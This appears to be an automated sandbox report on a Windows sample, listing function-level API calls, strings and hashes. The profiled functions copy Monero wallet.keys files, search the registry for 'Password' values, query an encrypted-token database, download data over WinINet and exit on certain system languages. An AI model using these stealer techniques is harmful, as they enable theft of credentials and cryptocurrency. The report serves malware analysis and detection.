Part of subcall function 00329AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00324EEE,00000000,?), ref: 00329B01
Part of subcall function 00329AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N2,00000000,00000000), ref: 00329B2A
Part of subcall function 00329AC0: LocalFree.KERNEL32(?,?,?,?,00324EEE,00000000,?), ref: 00329B3F

lstrcat.KERNEL32(?,00000000), ref: 003344A3
StrCmpCA.SHLWAPI(?,003408D1), ref: 003344C0
lstrcat.KERNEL32(00000000,00000000), ref: 003344D2
lstrcat.KERNEL32(00000000,?), ref: 003344E5
lstrcat.KERNEL32(00000000,00340FB8), ref: 003344F4

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 3f919eca83ea4f9de0d7eec6202c16eb6a44d6624098d6fa8ced7078f2ae2558
Instruction ID: 66fe93ab47c60b8f58328ac7fe3b67d6f40459c10c677e5843fa079236569103
Opcode Fuzzy Hash: 3f919eca83ea4f9de0d7eec6202c16eb6a44d6624098d6fa8ced7078f2ae2558
Instruction Fuzzy Hash: 237187B6900218ABDB15EBA4DCC5FEE7379AF58300F004598F605AB181EB75EB49CF91

Function 00321310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003212A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003212B4
Part of subcall function 003212A0: RtlAllocateHeap.NTDLL(00000000), ref: 003212BB
Part of subcall function 003212A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003212D7
Part of subcall function 003212A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003212F5
Part of subcall function 003212A0: RegCloseKey.ADVAPI32(?), ref: 003212FF

lstrcat.KERNEL32(?,00000000), ref: 0032134F
lstrlen.KERNEL32(?), ref: 0032135C
lstrcat.KERNEL32(?,.keys), ref: 00321377

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00338B60: GetSystemTime.KERNEL32(00340E1A,0109A450,003405AE,?,?,003213F9,?,0000001A,00340E1A,00000000,?,01099048,?,\Monero\wallet.keys,00340E17), ref: 00338B86

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00321465

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
Part of subcall function 003299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
Part of subcall function 003299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
Part of subcall function 003299C0: ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
Part of subcall function 003299C0: LocalFree.KERNEL32(0032148F), ref: 00329A90
Part of subcall function 003299C0: CloseHandle.KERNEL32(000000FF), ref: 00329A9A

DeleteFileA.KERNEL32(00000000), ref: 003214EF

Strings

\Monero\wallet.keys, xrefs: 0032138D
.keys, xrefs: 0032136B
wallet_path, xrefs: 00321330
SOFTWARE\monero-project\monero-core, xrefs: 00321335

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 9c8e65cf7a315f5c6eb5415acb5f8031291f8ef5ab5a7c43ab8eb3920a046447
Instruction ID: fa58aa4dca9ac7ac991ce6a81880cbdbae1e1a4ec8ab30b69ae9f4f3610ed7dc
Opcode Fuzzy Hash: 9c8e65cf7a315f5c6eb5415acb5f8031291f8ef5ab5a7c43ab8eb3920a046447
Instruction Fuzzy Hash: 6E5153B1D1011857CB16FB60DDD2BED737CAF54300F4041A8B64A6A081EF746B89DFA6

Function 003275D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003272D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0032733A
Part of subcall function 003272D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003273B1
Part of subcall function 003272D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0032740D
Part of subcall function 003272D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00327452
Part of subcall function 003272D0: HeapFree.KERNEL32(00000000), ref: 00327459

lstrcat.KERNEL32(00000000,003417FC), ref: 00327606
lstrcat.KERNEL32(00000000,00000000), ref: 00327648
lstrcat.KERNEL32(00000000, : ), ref: 0032765A
lstrcat.KERNEL32(00000000,00000000), ref: 0032768F
lstrcat.KERNEL32(00000000,00341804), ref: 003276A0
lstrcat.KERNEL32(00000000,00000000), ref: 003276D3
lstrcat.KERNEL32(00000000,00341808), ref: 003276ED
task.LIBCPMTD ref: 003276FB

Strings

: , xrefs: 0032764E

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 4d774c005fd86fd5e9dd4fca9e0e91c6de75b8d34675e4ebc38a266bf0aa62c0
Instruction ID: bc76bab4bcc88167c9b27d1c2b5be69e01c140a7a8f61db76cd069dbf3d37862
Opcode Fuzzy Hash: 4d774c005fd86fd5e9dd4fca9e0e91c6de75b8d34675e4ebc38a266bf0aa62c0
Instruction Fuzzy Hash: 1B313C71D01109DBCB06EBA8EC96DFE7778BB54301B144118F102BB2A1DB74A98ADF52

Function 00338100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0109E560,00000000,?,00340E2C,00000000,?,00000000), ref: 00338130
RtlAllocateHeap.NTDLL(00000000), ref: 00338137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00338158
__aulldiv.LIBCMT ref: 00338172
__aulldiv.LIBCMT ref: 00338180
wsprintfA.USER32 ref: 003381AC

Strings

@, xrefs: 0033814D
%d MB, xrefs: 003381A3

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: ad50264c988f06c7ea03b868918d852b98a82478c5b8cbc615149c0abc5b38b2
Instruction ID: 5f83ded23d00abeb2774198a2c085111a93c5c7911ef8eb40616a476908fa2fa
Opcode Fuzzy Hash: ad50264c988f06c7ea03b868918d852b98a82478c5b8cbc615149c0abc5b38b2
Instruction Fuzzy Hash: 90211DB1E44318ABDB00DFD8DD49FAEB7B8FB44B10F104509F605BB280D7B869058BA5

Function 003260A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
Part of subcall function 003247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

InternetOpenA.WININET(00340DF7,00000001,00000000,00000000,00000000), ref: 0032610F
StrCmpCA.SHLWAPI(?,0109E7E8), ref: 00326147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0032618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 003261B3
InternetReadFile.WININET(?,?,00000400,?), ref: 003261DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0032620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00326249
InternetCloseHandle.WININET(?), ref: 00326253
InternetCloseHandle.WININET(00000000), ref: 00326260

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 8f106f9683242385ea8df0a530e9eb356d89acdb87268fbbbf4031e7a9dfc1f9
Instruction ID: 405e9ca773e51702bfccf7f1c625d2cc1a39c4ca88ce95befae9a55b122fdf95
Opcode Fuzzy Hash: 8f106f9683242385ea8df0a530e9eb356d89acdb87268fbbbf4031e7a9dfc1f9
Instruction Fuzzy Hash: E7514FB1900218ABDB21DF54DC86BEE77B8EF44701F108498F606BB1C1DBB46A89DF95

Function 003272D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0032733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003273B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0032740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00327452
HeapFree.KERNEL32(00000000), ref: 00327459
task.LIBCPMTD ref: 00327555

Strings

Password, xrefs: 00327401

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 86e3f51cb4596e67952aa68ce129d7e994328263e9b5aa1501b19970a7639007
Instruction ID: 0005a13cd6b86155c10fc8d2bf502345b59c7ec84f062449629d97f96b992b90
Opcode Fuzzy Hash: 86e3f51cb4596e67952aa68ce129d7e994328263e9b5aa1501b19970a7639007
Instruction Fuzzy Hash: 33611BB5D042689BDB25DB50EC55FD9B7B8BF44300F0081E9E689AA141DBB06BC9CFA1

Function 0032BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,01099048,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

lstrlen.KERNEL32(00000000), ref: 0032BC9F

Part of subcall function 00338E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0032BCCD
lstrlen.KERNEL32(00000000), ref: 0032BDA5
lstrlen.KERNEL32(00000000), ref: 0032BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0032BBEB
AccountId, xrefs: 0032BCC4
AccountTokens, xrefs: 0032BB49
AccountTokens, xrefs: 0032BABA

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 5d0034d008f3ce1b5fc0c3fd2452702e87365c7ef5178398dff065841d5dc472
Instruction ID: 49ac24761d5bc8c904e1ae15a05c0331836914d63bcf3e44184426c5866555a2
Opcode Fuzzy Hash: 5d0034d008f3ce1b5fc0c3fd2452702e87365c7ef5178398dff065841d5dc472
Instruction Fuzzy Hash: BCB16172910608ABCB06FBA0DCD6EEE7778AF14300F404158F546BF091EF346A49DBA2

Function 00336770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00336774
ExitProcess.KERNEL32 ref: 003367A5
ExitProcess.KERNEL32 ref: 003367AF
ExitProcess.KERNEL32 ref: 003367B9
ExitProcess.KERNEL32 ref: 003367C3
ExitProcess.KERNEL32 ref: 003367CD

Strings

*, xrefs: 0033678C

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f9f49109396f8f7fc96239fa06fa8de3d51f4aec50a465a5d4e6443a7a818f82
Instruction ID: f7bbfbf21370e7acbe7af8ece43e098bf5eadc3ff848ccac76edfc9e77fe8c10
Opcode Fuzzy Hash: f9f49109396f8f7fc96239fa06fa8de3d51f4aec50a465a5d4e6443a7a818f82
Instruction Fuzzy Hash: B3F05E30904209EFD3449FE8E90A72C7B74FB14703F044198E609A7390D6B04B42AF96

Function 00324FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00324FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00324FD1
InternetOpenA.WININET(00340DDF,00000000,00000000,00000000,00000000), ref: 00324FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00325011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00325041
InternetCloseHandle.WININET(?), ref: 003250B9
InternetCloseHandle.WININET(?), ref: 003250C6

Memory Dump Source

Source File: 00000000.00000002.1734754441.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.1734730369.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1734754441.000000000056A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735090731.0000000000811000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735549081.0000000000812000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735665978.00000000009A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1735682673.00000000009A7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 20fb83290d27515c5cb833d465153d4d8f3edb6cf98f5822d08c309222b4d253
Instruction ID: 5223682cd57101545691c4dd22ed5e2af83d50fb82c71c8f2241a132c612044e
Opcode Fuzzy Hash: 20fb83290d27515c5cb833d465153d4d8f3edb6cf98f5822d08c309222b4d253
Instruction Fuzzy Hash: 4931E4B4A40218ABDB24CF54DC85BDCB7B4EB48704F1081D9EA09B7281C7B06A899F99

Function 003383DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00338426
wsprintfA.USER32 ref: 00338459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0033847B
RegCloseKey.ADVAPI32(00000000), ref: 0033848C
RegCloseKey.ADVAPI32(00000000), ref: 00338499

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

RegQueryValueExA.ADVAPI32(00000000,0109E4E8,00000000,000F003F,?,00000400), ref: 003384EC
